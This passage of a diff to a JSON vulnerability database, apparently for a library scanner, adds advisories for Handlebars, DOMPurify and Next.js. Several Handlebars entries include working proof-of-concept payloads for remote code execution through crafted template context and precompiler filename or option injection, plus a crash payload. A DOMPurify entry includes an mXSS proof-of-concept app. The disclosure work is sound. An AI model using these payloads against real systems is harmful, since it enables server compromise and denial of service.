`handlebars-helpers`:\n\n```javascript\nconst Handlebars = require('handlebars');\nconst merge = require('handlebars-helpers').object().merge;\nHandlebars.registerHelper('merge', merge);\n\nconst vulnerableTemplate = `\n{{#*inline \"myPartial\"}}\n {{>@partial-block}}\n {{>@partial-block}}\n{{/inline}}\n{{#>myPartial}}\n {{merge @_parent partial-block=1}}\n {{merge @_parent partial-block=payload}}\n{{/myPartial}}\n`;\n\nconst maliciousContext = {\n payload: {\n type: \"Program\",\n body: [\n {\n type: \"MustacheStatement\",\n depth: 0,\n path: {\n type: \"PathExpression\",\n parts: [\"pop\"],\n original: \"this.pop\",\n // Code injected via depth field — breaks out of generated function call\n depth: \"0])),function () {console.error('VULNERABLE: RCE via @partial-block');}()));//\",\n },\n },\n ],\n },\n};\n\nHandlebars.compile(vulnerableTemplate)(maliciousContext);\n// Prints: VULNERABLE: RCE via @partial-block\n```\n\n## Workarounds\n\n- **Use the runtime-only build** (`require('handlebars/runtime')`). The `compile()` method is absent, eliminating the vulnerable fallback path.\n- **Audit registered helpers** for any that write arbitrary values to context objects. Helpers should treat context data as read-only.\n- **Avoid registering helpers** from third-party packages (such as `handlebars-helpers`) in contexts where templates or context data can be influenced by untrusted input.", + "githubID": "GHSA-3mfm-83xf-c92r", + "CVE": [ + "CVE-2026-33938" + ] + }, + "info": [ + "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-3mfm-83xf-c92r", + "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2", + "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9" + ] + }, + { + "atOrAbove": "4.0.0", + "below": "4.7.9", + "severity": "low", + "cwe": [ + "CWE-367" + ], + "identifiers": { + "summary": "## Summary\n\nIn `lib/handlebars/runtime.js`, the `container.lookup()` function uses `container.lookupProperty()` as a gate check to enforce prototype-access controls, but then discards the validated result and performs a second, unguarded property access (`depths[i][name]`). This Time-of-Check Time-of-Use (TOCTOU) pattern means the security check and the actual read are decoupled, and the raw access bypasses any sanitization that `lookupProperty` may perform.\n\nOnly relevant when the **compat** compile option is enabled (`{compat: true}`), which activates `depthedLookup` in `lib/handlebars/compiler/javascript-compiler.js`.\n\n## Description\n\nThe vulnerable code in `lib/handlebars/runtime.js` (lines 137–144):\n\n```javascript\nlookup: function (depths, name) {\n const len = depths.length;\n for (let i = 0; i < len; i++) {\n let result = depths[i] && container.lookupProperty(depths[i], name);\n if (result != null) {\n return depths[i][name]; // BUG: should be `return result;`\n }\n }\n},\n```\n\n`container.lookupProperty()` (lines 119–136) enforces `hasOwnProperty` checks and `resultIsAllowed()` prototype-access controls. However, `container.lookup()` only uses `lookupProperty` as a boolean gate — if the gate passes (`result != null`), it then performs an independent, raw `depths[i][name]` access that circumvents any transformation or wrapped value that `lookupProperty` may have returned.\n\n## Workarounds\n\n- Avoid enabling `{ compat: true }` when rendering templates that include untrusted data.\n- Ensure context data objects are plain JSON (no Proxies, no getter-based accessor properties).", + "githubID": "GHSA-442j-39wm-28r2" + }, + "info": [ + "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-442j-39wm-28r2", + "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2", + "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9" + ] + }, + { + "atOrAbove": "4.0.0", + "below": "4.7.9", + "severity": "high", + "cwe": [ + "CWE-754" + ], + "identifiers": { + "summary": "## Summary\n\nWhen a Handlebars template contains decorator syntax referencing an unregistered decorator (e.g. `{{*n}}`), the compiled template calls `lookupProperty(decorators, \"n\")`, which returns `undefined`. The runtime then immediately invokes the result as a function, causing an unhandled `TypeError: ... is not a function` that crashes the Node.js process. Any application that compiles user-supplied templates without wrapping the call in a `try/catch` is vulnerable to a single-request Denial of Service.\n\n## Description\n\nIn `lib/handlebars/compiler/javascript-compiler.js`, the code generated for a decorator invocation looks like:\n\n```javascript\nfn = lookupProperty(decorators, \"n\")(fn, props, container, options) || fn;\n```\n\nWhen `\"n\"` is not a registered decorator, `lookupProperty(decorators, \"n\")` returns `undefined`. The expression immediately attempts to call `undefined` as a function, producing:\n\n```\nTypeError: lookupProperty(...) is not a function\n```\n\nBecause the error is thrown inside the compiled template function and is not caught by the runtime, it propagates up as an unhandled exception and — when not caught by the application — crashes the Node.js process.\n\nThis inconsistency is notable: references to unregistered **helpers** produce a clean `\"Missing helper: ...\"` error, while references to unregistered **decorators** cause a hard crash.\n\n**Attack scenario:** An attacker submits `{{*n}}` as template content to any endpoint that calls `Handlebars.compile(userInput)()`. Each request crashes the server process; with process managers that auto-restart (PM2, systemd), repeated submissions create a persistent DoS.\n\n## Proof of Concept\n\n```javascript\nconst Handlebars = require('handlebars'); // Handlebars 4.7.8, Node.js v22.x\n\n// Any of these payloads crash the process\nHandlebars.compile('{{*n}}')({});\nHandlebars.compile('{{*decorator}}')({});\nHandlebars.compile('{{*constructor}}')({});\n```\n\nExpected crash output:\n```\nTypeError: lookupProperty(...) is not a function\n at Function.eval [as decorator] (eval at compile (...javascript-compiler.js:134:36))\n```\n\n## Workarounds\n\n- **Wrap compilation and rendering in `try/catch`:**\n ```javascript\n try {\n const result = Handlebars.compile(userInput)(context);\n res.send(result);\n } catch (err) {\n res.status(400).send('Invalid template');\n }\n ```\n- **Validate template input** before passing it to `compile()`. Reject templates containing decorator syntax (`{{*...}}`) if decorators are not used in your application.\n- **Use the pre-compilation workflow:** compile templates at build time and serve only pre-compiled templates; do not call `compile()` at request time.", + "githubID": "GHSA-9cx6-37pm-9jff", + "CVE": [ + "CVE-2026-33939" + ] + }, + "info": [ + "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-9cx6-37pm-9jff", + "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2", + "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9" + ] + }, + { + "atOrAbove": "4.0.0", + "below": "4.7.9", + "severity": "high", + "cwe": [ + "CWE-843", + "CWE-94" + ], + "identifiers": { + "summary": "## Summary\n\nA crafted object placed in the template context can bypass all conditional guards in `resolvePartial()` and cause `invokePartial()` to return `undefined`. The Handlebars runtime then treats the unresolved partial as a source that needs to be compiled, passing the crafted object to `env.compile()`. Because the object is a valid Handlebars AST containing injected code, the generated JavaScript executes arbitrary commands on the server. The attack requires the adversary to control a value that can be returned by a dynamic partial lookup.\n\n## Description\n\nThe vulnerable code path spans two functions in `lib/handlebars/runtime.js`:\n\n**`resolvePartial()`:** A crafted object with `call: true` satisfies the first branch condition (`partial.call`) and causes an early return of the original object itself, because none of the remaining conditionals (string check, `options.partials` lookup, etc.) match a plain object. The function returns the crafted object as-is.\n\n**`invokePartial()`:** When `resolvePartial` returns a non-function object, `invokePartial` produces `undefined`. The runtime interprets `undefined` as \"partial not yet compiled\" and calls `env.compile(partial, ...)` where `partial` is the crafted AST object. The JavaScript code generator processes the AST and emits JavaScript containing the injected payload, which is then evaluated.\n\n**Minimum prerequisites:**\n1. The template uses a dynamic partial lookup: `{{> (lookup . \"key\")}}` or equivalent.\n2. The adversary can set the value of the looked-up context property to a crafted object.\n\nIn server-side rendering scenarios where templates process user-supplied context data, this enables full Remote Code Execution.\n\n## Proof of Concept\n\n```javascript\nconst Handlebars = require('handlebars');\n\nconst vulnerableTemplate = `{{> (lookup . \"payload\")}}`;\n\nconst maliciousContext = {\n payload: {\n call: true, // bypasses the primary resolvePartial branch\n type: \"Program\",\n body: [\n {\n type: \"MustacheStatement\",\n depth: 0,\n path: {\n type: \"PathExpression\",\n parts: [\"pop\"],\n original: \"this.pop\",\n // Injected code breaks out of the generated function's argument list\n depth: \"0])),function () {console.error('VULNERABLE: object -> dynamic partial -> RCE');}()));//\",\n },\n },\n ],\n },\n};\n\nHandlebars.compile(vulnerableTemplate)(maliciousContext);\n// Prints: VULNERABLE: object -> dynamic partial -> RCE\n```\n\n## Workarounds\n\n- **Use the runtime-only build** (`require('handlebars/runtime')`). Without `compile()`, the fallback compilation path in `invokePartial` is unreachable.\n- **Sanitize context data** before rendering: ensure no value in the context is a non-primitive object that could be passed to a dynamic partial.\n- **Avoid dynamic partial lookups** (`{{> (lookup ...)}}`) when context data is user-controlled.", + "githubID": "GHSA-xhpv-hc6g-r9c6", + "CVE": [ + "CVE-2026-33940" + ] + }, + "info": [ + "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-xhpv-hc6g-r9c6", + "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2", + "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9" + ] + }, + { + "atOrAbove": "4.0.0", + "below": "4.7.9", + "severity": "high", + "cwe": [ + "CWE-116", + "CWE-79", + "CWE-94" + ], + "identifiers": { + "summary": "## Summary\n\nThe Handlebars CLI precompiler (`bin/handlebars` / `lib/precompiler.js`) concatenates user-controlled strings — template file names and several CLI options — directly into the JavaScript it emits, without any escaping or sanitization. An attacker who can influence template filenames or CLI arguments can inject arbitrary JavaScript that executes when the generated bundle is loaded in Node.js or a browser.\n\n## Description\n\n`lib/precompiler.js` generates JavaScript source by string-interpolating several values directly into the output. Four distinct injection points exist:\n\n### 1. Template name injection\n\n```javascript\n// Vulnerable code pattern\noutput += 'templates[\"' + template.name + '\"] = template(...)';\n```\n\n`template.name` is derived from the file system path. A filename containing `\"` or `'];` breaks out of the string literal and injects arbitrary JavaScript.\n\n### 2. Namespace injection (`-n` / `--namespace`)\n\n```javascript\n// Vulnerable code pattern\noutput += 'var templates = ' + opts.namespace + ' = ' + opts.namespace + ' || {};';\n```\n\n`opts.namespace` is emitted as raw JavaScript. Anything after a `;` in the value becomes an additional JavaScript statement.\n\n### 3. CommonJS path injection (`-c` / `--commonjs`)\n\n```javascript\n// Vulnerable code pattern\noutput += 'var Handlebars = require(\"' + opts.commonjs + '\");';\n```\n\n`opts.commonjs` is interpolated inside double quotes with no escaping, allowing `\"` to close the string and inject further code.\n\n### 4. AMD path injection (`-h` / `--handlebarPath`)\n\n```javascript\n// Vulnerable code pattern\noutput += \"define(['\" + opts.handlebarPath + \"handlebars.runtime'], ...)\";\n```\n\n`opts.handlebarPath` is interpolated inside single quotes, allowing `'` to close the array element.\n\nAll four injection points result in code that executes when the generated bundle is `require()`d or loaded in a browser.\n\n## Proof of Concept\n\n**Template name vector (creates a file `pwned` on disk):**\n\n```bash\nmkdir -p templates\nprintf 'Hello' > \"templates/evil'] = (function(){require(\\\"fs\\\").writeFileSync(\\\"pwned\\\",\\\"1\\\")})(); //.handlebars\"\n\nnode bin/handlebars templates -o out.js\nnode -e 'require(\"./out.js\")' # Executes injected code, creates ./pwned\n```\n\n**Namespace vector:**\n\n```bash\nnode bin/handlebars templates -o out.js \\\n -n \"App.ns; require('fs').writeFileSync('pwned2','1'); //\"\nnode -e 'require(\"./out.js\")'\n```\n\n**CommonJS vector:**\n\n```bash\nnode bin/handlebars templates -o out.js \\\n -c 'handlebars\"); require(\"fs\").writeFileSync(\"pwned3\",\"1\"); //'\nnode -e 'require(\"./out.js\")'\n```\n\n**AMD vector:**\n\n```bash\nnode bin/handlebars templates -o out.js -a \\\n -h \"'); require('fs').writeFileSync('pwned4','1'); // \"\nnode -e 'require(\"./out.js\")'\n```\n\n## Workarounds\n\n- **Validate all CLI inputs** before invoking the precompiler. Reject filenames and option values that contain characters with JavaScript string-escaping significance (`\"`, `'`, `;`, etc.).\n- **Use a fixed, trusted namespace string** passed via a configuration file rather than command-line arguments in automated pipelines.\n- **Run the precompiler in a sandboxed environment** (container with no write access to sensitive paths) to limit the impact of successful exploitation.\n- **Audit template filenames** in any repository or package that is consumed by an automated build pipeline.", + "githubID": "GHSA-xjpj-3mr7-gcpf", + "CVE": [ + "CVE-2026-33941" + ] + }, + "info": [ + "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-xjpj-3mr7-gcpf", + "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2", + "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9" + ] + }, + { + "atOrAbove": "4.6.0", + "below": "4.7.9", + "severity": "medium", + "cwe": [ + "CWE-1321" + ], + "identifiers": { + "summary": "## Summary\n\nThe prototype method blocklist in `lib/handlebars/internal/proto-access.js` blocks `constructor`, `__defineGetter__`, `__defineSetter__`, and `__lookupGetter__`, but omits the symmetric `__lookupSetter__`. This omission is only exploitable when the non-default runtime option `allowProtoMethodsByDefault: true` is explicitly set — in that configuration `__lookupSetter__` becomes accessible while its counterparts remain blocked, creating an inconsistent security boundary.\n\n`4.6.0` is the version that introduced `protoAccessControl` and the `allowProtoMethodsByDefault` runtime option.\n\n## Description\n\nIn `lib/handlebars/internal/proto-access.js`:\n\n```javascript\nconst methodWhiteList = Object.create(null);\nmethodWhiteList['constructor'] = false;\nmethodWhiteList['__defineGetter__'] = false;\nmethodWhiteList['__defineSetter__'] = false;\nmethodWhiteList['__lookupGetter__'] = false;\n// __lookupSetter__ intentionally blocked in CVE-2021-23383,\n// but omitted here — creating an asymmetric blocklist\n```\n\nAll four legacy accessor helpers (`__defineGetter__`, `__defineSetter__`, `__lookupGetter__`, `__lookupSetter__`) were involved in the exploit chain addressed by CVE-2021-23383. Three of the four were explicitly blocked; `__lookupSetter__` was left out.\n\nWhen `allowProtoMethodsByDefault: true` is set, any prototype method **not present** in `methodWhiteList` is permitted by default. Because `__lookupSetter__` is absent from the list, it passes the `checkWhiteList` check and is accessible in templates, while `__lookupGetter__` (its sibling) is correctly denied.\n\n## Workarounds\n\n- Do **not** set `allowProtoMethodsByDefault: true`. The default configuration is not affected.\n- If `allowProtoMethodsByDefault` must be enabled, ensure templates do not reference `__lookupSetter__` through untrusted input.", + "githubID": "GHSA-7rx3-28cr-v5wh" + }, + "info": [ + "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-7rx3-28cr-v5wh", + "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9" + ] } ], "extractors": { @@ -5231,6 +5390,22 @@ "https://www.vulncheck.com/advisories/dompurify-xss-via-textarea-rawtext-bypass-in-safeforxml" ] }, + { + "atOrAbove": "0", + "below": "3.3.2", + "severity": "medium", + "cwe": [ + "CWE-79" + ], + "identifiers": { + "summary": "## Description\n\nA mutation-XSS (mXSS) condition was confirmed when sanitized HTML is reinserted into a new parsing context using `innerHTML` and special wrappers. The vulnerable wrappers confirmed in browser behavior are `script`, `xmp`, `iframe`, `noembed`, `noframes`, and `noscript`. The payload remains seemingly benign after `DOMPurify.sanitize()`, but mutates during the second parse into executable markup with an event handler, enabling JavaScript execution in the client (`alert(1)` in the PoC).\n\n\n## Vulnerability\n\nThe root cause is context switching after sanitization: sanitized output is treated as trusted and concatenated into a wrapper string (for example, ` ... ` or other special wrappers) before being reparsed by the browser. In this flow, attacker-controlled text inside an attribute (for example `` or equivalent closing sequences for each wrapper) closes the special parsing context early and reintroduces attacker markup (``) outside the original attribute context. DOMPurify sanitizes the original parse tree, but the application performs a second parse in a different context, reactivating dangerous tokens (classic mXSS pattern).\n\n## PoC\n\n1. Start the PoC app:\n```bash\nnpm install\nnpm start\n```\n\n2. Open `http://localhost:3001`.\n3. Set `Wrapper en sink` to `xmp`.\n4. Use payload:\n```html\n \"</xmp\">\n```\n\n5. Click `Sanitize + Render`.\n6. Observe:\n- `Sanitized response` still contains the `` sequence inside `alt`.\n- The sink reparses to include ``.\n- `alert('expoc')` is triggered.\n7. Files:\n- index.html\n\n```html\n\n\n \n \n \n expoc - DOMPurify SSR PoC\n \n \n \n
\n

expoc - DOMPurify Server-Side PoC

\n

\n Flujo: input -> POST /sanitize (Node + jsdom + DOMPurify) -> render vulnerable con innerHTML.\n

\n\n
\n
\n \n \n
\n
\n \n \n
\n
\n \n
\n
\n

Se usa render vulnerable: sink.innerHTML = '<wrapper>' + sanitized + '</wrapper>'.

\n
\n
script (vulnerable)
\n
xmp (vulnerable)
\n
iframe (vulnerable)
\n
noembed (vulnerable)
\n
noframes (vulnerable)
\n
noscript (vulnerable)
\n
div (no vulnerable)
\n
textarea (no vulnerable)
\n
title (no vulnerable)
\n
style (no vulnerable)
\n
\n
\n\n
\n \n
(empty)
\n
\n\n
\n \n
\n
\n
\n
\n\n \n \n\n```\n\n- server.js\n\n```js\nconst express = require('express');\nconst path = require('path');\nconst { JSDOM } = require('jsdom');\nconst createDOMPurify = require('dompurify');\n\nconst app = express();\nconst port = process.env.PORT || 3001;\n\nconst window = new JSDOM('').window;\nconst DOMPurify = createDOMPurify(window);\n\napp.use(express.json());\napp.use(express.static(path.join(__dirname, 'public')));\n\napp.get('/health', (_req, res) => {\n res.json({ ok: true, service: 'expoc' });\n});\n\napp.post('/sanitize', (req, res) => {\n const input = typeof req.body?.input === 'string' ? req.body.input : '';\n const sanitized = DOMPurify.sanitize(input);\n res.json({ sanitized });\n});\n\napp.listen(port, () => {\n console.log(`expoc running at http://localhost:${port}`);\n});\n```\n\n- package.json\n\n```json\n{\n \"name\": \"expoc\",\n \"version\": \"1.0.0\",\n \"main\": \"server.js\",\n \"scripts\": {\n \"test\": \"echo \\\"Error: no test specified\\\" && exit 1\",\n \"start\": \"node server.js\",\n \"dev\": \"node server.js\"\n },\n \"keywords\": [],\n \"author\": \"\",\n \"license\": \"ISC\",\n \"description\": \"\",\n \"dependencies\": {\n \"dompurify\": \"^3.3.1\",\n \"express\": \"^5.2.1\",\n \"jsdom\": \"^28.1.0\"\n }\n}\n```\n\n## Evidence\n\n- PoC\n\n[daft-video.webm](https://github.com/user-attachments/assets/499a593d-0241-4ab8-95a9-cf49a00bda90)\n\n- XSS triggered\n\"daft-img\"\n\n## Why This Happens\nThis is a mutation-XSS pattern caused by a parse-context mismatch:\n\n- Parse 1 (sanitization phase): input is interpreted under normal HTML parsing rules.\n- Parse 2 (sink phase): sanitized output is embedded into a wrapper that changes parser state (`xmp` raw-text behavior).\n- Attacker-controlled sequence (``) gains structural meaning in parse 2 and alters DOM structure.\n\nSanitization is not a universal guarantee across all future parsing contexts. The sink design reintroduces risk.\n\n## Remediation Guidance\n1. Do not concatenate sanitized strings into new HTML wrappers followed by `innerHTML`.\n2. Keep the rendering context stable from sanitize to sink.\n3. Prefer DOM-safe APIs (`textContent`, `createElement`, `setAttribute`) over string-based HTML composition.\n4. If HTML insertion is required, sanitize as close as possible to final insertion context and avoid wrapper constructs with raw-text semantics (`xmp`, `script`, etc.).\n5. Add regression tests for context-switch/mXSS payloads (including ``, ``, similar parser-breakout markers).\n\nReported by Oscar Uribe, Security Researcher at Fluid Attacks. Camilo Vera and Cristian Vargas from the Fluid Attacks Research Team have identified a mXSS via Re-Contextualization in DomPurify 3.3.1.\n\nFollowing Fluid Attacks [Disclosure Policy](https://fluidattacks.com/advisories/policy), if this report corresponds to a vulnerability and the conditions outlined in the policy are met, this advisory will be published on the website over the next few days (the timeline may vary depending on maintainers' willingness to attend to and respond to this report) at the following URL: https://fluidattacks.com/advisories/daft\n\nAcknowledgements: [Camilo Vera](https://github.com/caverav/) and [Cristian Vargas](https://github.com/tachote).", + "githubID": "GHSA-h8r8-wccr-v5f2" + }, + "info": [ + "https://github.com/cure53/DOMPurify/security/advisories/GHSA-h8r8-wccr-v5f2", + "https://github.com/cure53/DOMPurify/releases/tag/3.3.2" + ] + }, { "atOrAbove": "3.1.3", "below": "3.3.2", @@ -9436,6 +9611,26 @@ "https://github.com/vercel/next.js/releases/tag/v16.1.7" ] }, + { + "atOrAbove": "10.0.0", + "below": "15.5.14", + "severity": "medium", + "cwe": [ + "CWE-400" + ], + "identifiers": { + "summary": "## Summary\nThe default Next.js image optimization disk cache (`/_next/image`) did not have a configurable upper bound, allowing unbounded cache growth.\n\n## Impact\nAn attacker could generate many unique image-optimization variants and exhaust disk space, causing denial of service.\n\n## Patches\nFixed by adding an LRU-backed disk cache with `images.maximumDiskCacheSize`, including eviction of least-recently-used entries when the limit is exceeded. Setting `maximumDiskCacheSize: 0` disables disk caching. \n\n## Workarounds\nIf upgrade is not immediately possible:\n- Periodically clean `.next/cache/images`.\n- Reduce variant cardinality (e.g., tighten values for `images.localPatterns`, `images.remotePatterns`, and `images.qualities`)", + "githubID": "GHSA-3x4c-7xq6-9pq8", + "CVE": [ + "CVE-2026-27980" + ] + }, + "info": [ + "https://github.com/vercel/next.js/security/advisories/GHSA-3x4c-7xq6-9pq8", + "https://github.com/vercel/next.js/commit/39eb8e0ac498b48855a0430fbf4c22276a73b4bd", + "https://github.com/vercel/next.js/releases/tag/v16.1.7" + ] + }, { "atOrAbove": "15.6.0-canary.0", "below": "15.6.0-canary.59", @@ -9516,6 +9711,27 @@ "https://vercel.com/changelog/summaries-of-cve-2025-59471-and-cve-2025-59472" ] }, + { + "atOrAbove": "15.6.0-canary.0", + "below": "15.6.0-canary.61", + "severity": "medium", + "cwe": [ + "CWE-400", + "CWE-409", + "CWE-770" + ], + "identifiers": { + "summary": "A denial of service vulnerability exists in Next.js versions with Partial Prerendering (PPR) enabled when running in minimal mode. The PPR resume endpoint accepts unauthenticated POST requests with the `Next-Resume: 1` header and processes attacker-controlled postponed state data. Two closely related vulnerabilities allow an attacker to crash the server process through memory exhaustion:\n\n1. **Unbounded request body buffering**: The server buffers the entire POST request body into memory using `Buffer.concat()` without enforcing any size limit, allowing arbitrarily large payloads to exhaust available memory.\n\n2. **Unbounded decompression (zipbomb)**: The resume data cache is decompressed using `inflateSync()` without limiting the decompressed output size. A small compressed payload can expand to hundreds of megabytes or gigabytes, causing memory exhaustion.\n\nBoth attack vectors result in a fatal V8 out-of-memory error (`FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory`) causing the Node.js process to terminate. The zipbomb variant is particularly dangerous as it can bypass reverse proxy request size limits while still causing large memory allocation on the server.\n\nTo be affected, an application must run with `experimental.ppr: true` or `cacheComponents: true` configured along with the NEXT_PRIVATE_MINIMAL_MODE=1 environment variable.\n\nStrongly consider upgrading to 15.6.0-canary.61 or 16.1.5 to reduce risk and prevent availability issues in Next applications.", + "githubID": "GHSA-5f7q-jpqc-wp7h", + "CVE": [ + "CVE-2025-59472" + ] + }, + "info": [ + "https://github.com/vercel/next.js/security/advisories/GHSA-5f7q-jpqc-wp7h", + "https://vercel.com/changelog/summaries-of-cve-2025-59471-and-cve-2025-59472" + ] + }, { "atOrAbove": "15.6.0-canary.0", "below": "15.6.0-canary.61", @@ -9767,6 +9983,26 @@ "https://github.com/vercel/next.js/releases/tag/v16.1.7" ] }, + { + "atOrAbove": "16.0.0-beta.0", + "below": "16.1.7", + "severity": "medium", + "cwe": [ + "CWE-400" + ], + "identifiers": { + "summary": "## Summary\nThe default Next.js image optimization disk cache (`/_next/image`) did not have a configurable upper bound, allowing unbounded cache growth.\n\n## Impact\nAn attacker could generate many unique image-optimization variants and exhaust disk space, causing denial of service.\n\n## Patches\nFixed by adding an LRU-backed disk cache with `images.maximumDiskCacheSize`, including eviction of least-recently-used entries when the limit is exceeded. Setting `maximumDiskCacheSize: 0` disables disk caching. \n\n## Workarounds\nIf upgrade is not immediately possible:\n- Periodically clean `.next/cache/images`.\n- Reduce variant cardinality (e.g., tighten values for `images.localPatterns`, `images.remotePatterns`, and `images.qualities`)", + "githubID": "GHSA-3x4c-7xq6-9pq8", + "CVE": [ + "CVE-2026-27980" + ] + }, + "info": [ + "https://github.com/vercel/next.js/security/advisories/GHSA-3x4c-7xq6-9pq8", + "https://github.com/vercel/next.js/commit/39eb8e0ac498b48855a0430fbf4c22276a73b4bd", + "https://github.com/vercel/next.js/releases/tag/v16.1.7" + ] + }, { "atOrAbove": "16.0.0-beta.0", "below": "16.1.7", @@ -9847,6 +10083,300 @@ "https://github.com/vercel/next.js/commit/a27a11d78e748a8c7ccfd14b7759ad2b9bf097d8", "https://github.com/vercel/next.js/releases/tag/v16.1.7" ] + }, + { + "atOrAbove": "15.0.0-canary.0", + "below": "999.999.999", + "severity": "medium", + "cwe": [ + "CWE-400", + "CWE-409", + "CWE-770" + ], + "identifiers": { + "summary": "A denial of service vulnerability exists in Next.js versions with Partial Prerendering (PPR) enabled when running in minimal mode. The PPR resume endpoint accepts unauthenticated POST requests with the `Next-Resume: 1` header and processes attacker-controlled postponed state data. Two closely related vulnerabilities allow an attacker to crash the server process through memory exhaustion:\n\n1. **Unbounded request body buffering**: The server buffers the entire POST request body into memory using `Buffer.concat()` without enforcing any size limit, allowing arbitrarily large payloads to exhaust available memory.\n\n2. **Unbounded decompression (zipbomb)**: The resume data cache is decompressed using `inflateSync()` without limiting the decompressed output size. A small compressed payload can expand to hundreds of megabytes or gigabytes, causing memory exhaustion.\n\nBoth attack vectors result in a fatal V8 out-of-memory error (`FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory`) causing the Node.js process to terminate. The zipbomb variant is particularly dangerous as it can bypass reverse proxy request size limits while still causing large memory allocation on the server.\n\nTo be affected, an application must run with `experimental.ppr: true` or `cacheComponents: true` configured along with the NEXT_PRIVATE_MINIMAL_MODE=1 environment variable.\n\nStrongly consider upgrading to 15.6.0-canary.61 or 16.1.5 to reduce risk and prevent availability issues in Next applications.", + "githubID": "GHSA-5f7q-jpqc-wp7h", + "CVE": [ + "CVE-2025-59472" + ] + }, + "info": [ + "https://github.com/vercel/next.js/security/advisories/GHSA-5f7q-jpqc-wp7h", + "https://vercel.com/changelog/summaries-of-cve-2025-59471-and-cve-2025-59472" + ] + }, + { + "atOrAbove": "15.0.1-canary.0", + "below": "999.999.999", + "severity": "medium", + "cwe": [ + "CWE-400", + "CWE-409", + "CWE-770" + ], + "identifiers": { + "summary": "A denial of service vulnerability exists in Next.js versions with Partial Prerendering (PPR) enabled when running in minimal mode. The PPR resume endpoint accepts unauthenticated POST requests with the `Next-Resume: 1` header and processes attacker-controlled postponed state data. Two closely related vulnerabilities allow an attacker to crash the server process through memory exhaustion:\n\n1. **Unbounded request body buffering**: The server buffers the entire POST request body into memory using `Buffer.concat()` without enforcing any size limit, allowing arbitrarily large payloads to exhaust available memory.\n\n2. **Unbounded decompression (zipbomb)**: The resume data cache is decompressed using `inflateSync()` without limiting the decompressed output size. A small compressed payload can expand to hundreds of megabytes or gigabytes, causing memory exhaustion.\n\nBoth attack vectors result in a fatal V8 out-of-memory error (`FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory`) causing the Node.js process to terminate. The zipbomb variant is particularly dangerous as it can bypass reverse proxy request size limits while still causing large memory allocation on the server.\n\nTo be affected, an application must run with `experimental.ppr: true` or `cacheComponents: true` configured along with the NEXT_PRIVATE_MINIMAL_MODE=1 environment variable.\n\nStrongly consider upgrading to 15.6.0-canary.61 or 16.1.5 to reduce risk and prevent availability issues in Next applications.", + "githubID": "GHSA-5f7q-jpqc-wp7h", + "CVE": [ + "CVE-2025-59472" + ] + }, + "info": [ + "https://github.com/vercel/next.js/security/advisories/GHSA-5f7q-jpqc-wp7h", + "https://vercel.com/changelog/summaries-of-cve-2025-59471-and-cve-2025-59472" + ] + }, + { + "atOrAbove": "15.0.2-canary.0", + "below": "999.999.999", + "severity": "medium", + "cwe": [ + "CWE-400", + "CWE-409", + "CWE-770" + ], + "identifiers": { + "summary": "A denial of service vulnerability exists in Next.js versions with Partial Prerendering (PPR) enabled when running in minimal mode. The PPR resume endpoint accepts unauthenticated POST requests with the `Next-Resume: 1` header and processes attacker-controlled postponed state data. Two closely related vulnerabilities allow an attacker to crash the server process through memory exhaustion:\n\n1. **Unbounded request body buffering**: The server buffers the entire POST request body into memory using `Buffer.concat()` without enforcing any size limit, allowing arbitrarily large payloads to exhaust available memory.\n\n2. **Unbounded decompression (zipbomb)**: The resume data cache is decompressed using `inflateSync()` without limiting the decompressed output size. A small compressed payload can expand to hundreds of megabytes or gigabytes, causing memory exhaustion.\n\nBoth attack vectors result in a fatal V8 out-of-memory error (`FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory`) causing the Node.js process to terminate. The zipbomb variant is particularly dangerous as it can bypass reverse proxy request size limits while still causing large memory allocation on the server.\n\nTo be affected, an application must run with `experimental.ppr: true` or `cacheComponents: true` configured along with the NEXT_PRIVATE_MINIMAL_MODE=1 environment variable.\n\nStrongly consider upgrading to 15.6.0-canary.61 or 16.1.5 to reduce risk and prevent availability issues in Next applications.", + "githubID": "GHSA-5f7q-jpqc-wp7h", + "CVE": [ + "CVE-2025-59472" + ] + }, + "info": [ + "https://github.com/vercel/next.js/security/advisories/GHSA-5f7q-jpqc-wp7h", + "https://vercel.com/changelog/summaries-of-cve-2025-59471-and-cve-2025-59472" + ] + }, + { + "atOrAbove": "15.0.3-canary.0", + "below": "999.999.999", + "severity": "medium", + "cwe": [ + "CWE-400", + "CWE-409", + "CWE-770" + ], + "identifiers": { + "summary": "A denial of service vulnerability exists in Next.js versions with Partial Prerendering (PPR) enabled when running in minimal mode. The PPR resume endpoint accepts unauthenticated POST requests with the `Next-Resume: 1` header and processes attacker-controlled postponed state data. Two closely related vulnerabilities allow an attacker to crash the server process through memory exhaustion:\n\n1. **Unbounded request body buffering**: The server buffers the entire POST request body into memory using `Buffer.concat()` without enforcing any size limit, allowing arbitrarily large payloads to exhaust available memory.\n\n2. **Unbounded decompression (zipbomb)**: The resume data cache is decompressed using `inflateSync()` without limiting the decompressed output size. A small compressed payload can expand to hundreds of megabytes or gigabytes, causing memory exhaustion.\n\nBoth attack vectors result in a fatal V8 out-of-memory error (`FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory`) causing the Node.js process to terminate. The zipbomb variant is particularly dangerous as it can bypass reverse proxy request size limits while still causing large memory allocation on the server.\n\nTo be affected, an application must run with 